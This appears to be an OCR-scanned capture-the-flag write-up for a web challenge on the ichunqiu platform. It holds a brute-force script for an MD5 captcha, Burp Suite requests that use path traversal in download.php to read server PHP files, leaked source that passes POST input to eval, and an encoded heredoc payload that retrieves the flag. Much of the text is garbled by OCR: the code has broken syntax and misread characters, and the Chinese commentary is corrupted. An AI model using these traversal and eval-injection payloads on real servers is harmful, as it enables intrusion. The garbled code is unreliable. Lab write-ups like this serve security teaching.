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Username

Password

substr(md5(captcha), 0, 6)=3aab4a
Captcha:

Submit
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RIIGEFD R BEMDS K IIE: substr(mds(captcha), @, 6)=3aab4a
90 5 AR SR B IR A «

import requests
import base64
import sys
import hashlib

def getMd5(index):

for i in range(100000,100000000) :
X =1
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:

return x;
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Username
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Password
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substr(md5(captcha), 0, 6)=3aab4a
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capicna:

9065515
Submit
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a.php

k2php
echo "Do what you want to do, web dog,

the web root dir";
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Target: http://39f8abfed96c44d6340291c551b830f6a782adad4af5e45f0.chang it

Response

Raw | Headers | Hex

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help
[Targel I Proxy I Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender
1= [ 2 | ...
Go Cancel <|v >
Request
Raw | Params | Headers | Hex
GET /Challengesfile/download. php ?f=Challenges/flag. php HTTR/1.1 A
-
Host: 39f8abfed96c44d6940291cE510830f6a782adaBHEe45f0. changame.ichungiu.com
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/xhtml+xmlapplication/xml;g=0.9 ** q=0.8
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer:
http: //39/8a6fe dI6c44d6940291 c551bE30fE a7 82ada84f5e45f0. changame. ichungiu. com/Challenges/act
ion.php?action=file
Connection: close
Cookie: PHPSESSID=Ehihjvfojh28mbuvmesBkad3pt; _ jsluid=73e575cce8d0ch0c86263a9f42189dac
Upgrade-Insecure-Requests: 1
e
v
? < + > Type a search term 0 matches
Done

HTTRA .1 200 OK

Date: Sat, 15 Jun 2019 09:55:52 GMT

Content-Type: text/html

Content-Length: 24

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

X-Via-JSL: BO0fF225 .-

¥-Cache: bypass

flag{wow!!!but not true}

e

e
A

EJ @ lLJ liJ Type a search term

0 matches

320 bytes | 10T millis

it EE R~
BEAR AR H X FEIE R~ A /var/www/html/Challenges/flag.php
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Burp Intruder Repeater Window Help

[Targel I Proxy I Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts l

1% 2% (..

Go Cance
Request

Raw | Params | Headers | Hex

Target: http://35f8atfed96c44d6940291c551b830f6aT82adad4fHed5f0.ch

Response

Raw | Headers | Hex

ehniocom (4] 2]

GET /Challengesffile/download. php ?=Aarwwawhtml/Challengesilag phleTI'F’M.1 :
Host: 39f8abfedI6c44d6940291c5510830f6a782adaB45e45f0. changame.ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; r:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html application/zhtml+xml applicationfxml;g=0.9 ", q=0.8
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Refarer:
http: //39/8a6f d96c44d6940291 c551 08306 ar82adad4f5ed5f0. changame. ichungiu. com/Challenges/act
ion.php?action=file
Connection: close
Cookie: PHPSESSID=6bihjvfojh96mbuvmesBkadspt; _ jsluid=73e575cce8d0ch0c86263a%{42189dac
Upgrade-Insecure-Requests: 1
e
v
0 matches

HTTPA .1 200 OK

Date: Sat, 15 Jun 2019 09:57:21 GMT

Content-Type: text/plain

Content-Length: 375

Connection: close

Wary: Accept-Encaoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Disposition: attachment; filename="ar/www/html/Challengesfflag. php"
Wary: Accept-Encoding

¥-Via-JSL: B0fF225 -

¥-Cache: bypass

<?php

$f=§_POST[flag’;
8f = str_replace(aray (™, '8, ™%, W 00 ) ),
iff{strlen($f) = 13) || (false == stripos(¥f, return’))

{
die{wo 0
}
try
{
eval("\§spaceone = §f');
1
catch (Exception e)
{
return false;
)

if (hspaceane === flag’){
echo file_get_contents("helloctf.php");
!

7>
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0 matches

798 bytes | 112 millis

$ POST['flag'];

str_replace(array('" "', '$', '*', "8
if((strlen($f) > 13) || (false !== stripos($f,
{

"\,

die (' wowwwwwWWWWWWWWWWWWWWWWWWWWW " ) 3

eval("\$spaceone = $f");

b
catch (Exception $e)

{

return false;

b
if ($spaceone === 'flag'){

echo file_get contents("helloctf.php");

23R T helloctf.php , ERARYE T H:

min
3

"return')))
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[Targel I Proxy | Spider T Scanner I Intruder IRepeatef I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts }

1 x |2
Go Cancel < v > | Target: http://39f8atfed96c44d6940291c551b830f6a782ada84f5e45f0.changame.ichungiu.com [ﬂ ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /Challengesffile/download. php ?Eharfwawwhtml/Challenges/helloctf. php| HTTR/ A A HTTR/.1 200 CK &
Host: 39f8abfedI6c44d6940291c5510830f6a782adaB45e45f0. changame.ichungiu.com ™ Date: Sat, 15 Jun 2019 09:58:18 GMT 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; r:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html
Accept: text/html application/zhtml+xml applicationfxml;g=0.9 ", q=0.8 Content-Length: &
Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;q=0.3 en;q=0.2 Connection: close
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT
Refarer: Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
http: //39/8a6f d96c44d6940291 c551 08306 ar82adad4f5ed5f0. changame. ichungiu. com/Challenges/act Pragma: no-cache
ion.php?action=file X-Mia-JSL: 60fr225 -
Connection: close ¥-Cache: bypass
Cookie: PHPSESSID=6bihjvfojh96mbuvmesBkadspt; _ jsluid=73e575cce8d0ch0c86263a%{42189dac
Upgrade-Insecure-Requests: 1 Error
b 9
v v
7 < + > | | Type a search ferm 0 matches ? < + > | | Type a search term 0 matches

Done 300 bytes | 88 miilis
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® Text () Hex @

<==q

flag T ——

4 Decode as ... |=
Encode as ... |=
Hash ... |*

{ Smart decode J

%3c%3c%3Ic%61%0a%66%6c%61%67%0a%61%3b%0a ® Text () Hex

Decode as ... |=
Encode as ... |*
Hash . |=

{ Smart decode J

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz - O X
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[Targel I Proxy I Spider T Scanner I Intruder IRepeatef I Sequencer I Decoder T Comparer I Extender I Project options I User options IAIerts }
1= |2 x (Sl ---
Go cancel | [ < |v || > v Target: hitp://39/8a6fed96cA4d6940291 c551b830f6a782ada84f5e4500.ch fehuryiatcon @ @
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /Challengesfflag.php HTTR/1.1 : HTTP/A .1 200 CK ’A
Host: 39f8abfed96c44d6940291cE510830f6a782adaBHEe45f0. changame.ichungiu.com Date: Sat, 15 Jun 2019 10:10:40 GMT

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type: text/html

Accept: text/html application/xhtml+xml application/xml;g=0.9 */*,q=0.8 Content-Length: 63

Accept-Language: zh-CM,zh;g=0.8 zh-TW,g=0.7 zh-HIK;g=0.5 en-US;¢=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate ¥-Via-JSL: B0fF225 -

Connection: close ¥-Cache: bypass

Cookie: PHPSESSID=Ebihjvfojh26mbuvmesBkad3p; _ jsluid=73e575cce8d0ch0cB6263a%9f4e189dac

Upgrade-Insecure-Requests: 1 <?php

Content-Length: 44 $flag="flag{04bch2ca-3909-4359-as9b-22c5925 cdIe0}";
Content-Type: application/s-www-form-urlencoded 7>

flag="%3c%3c%3c %61 %0a%E6 %60 %61 %67 %0a%61%3b%0a
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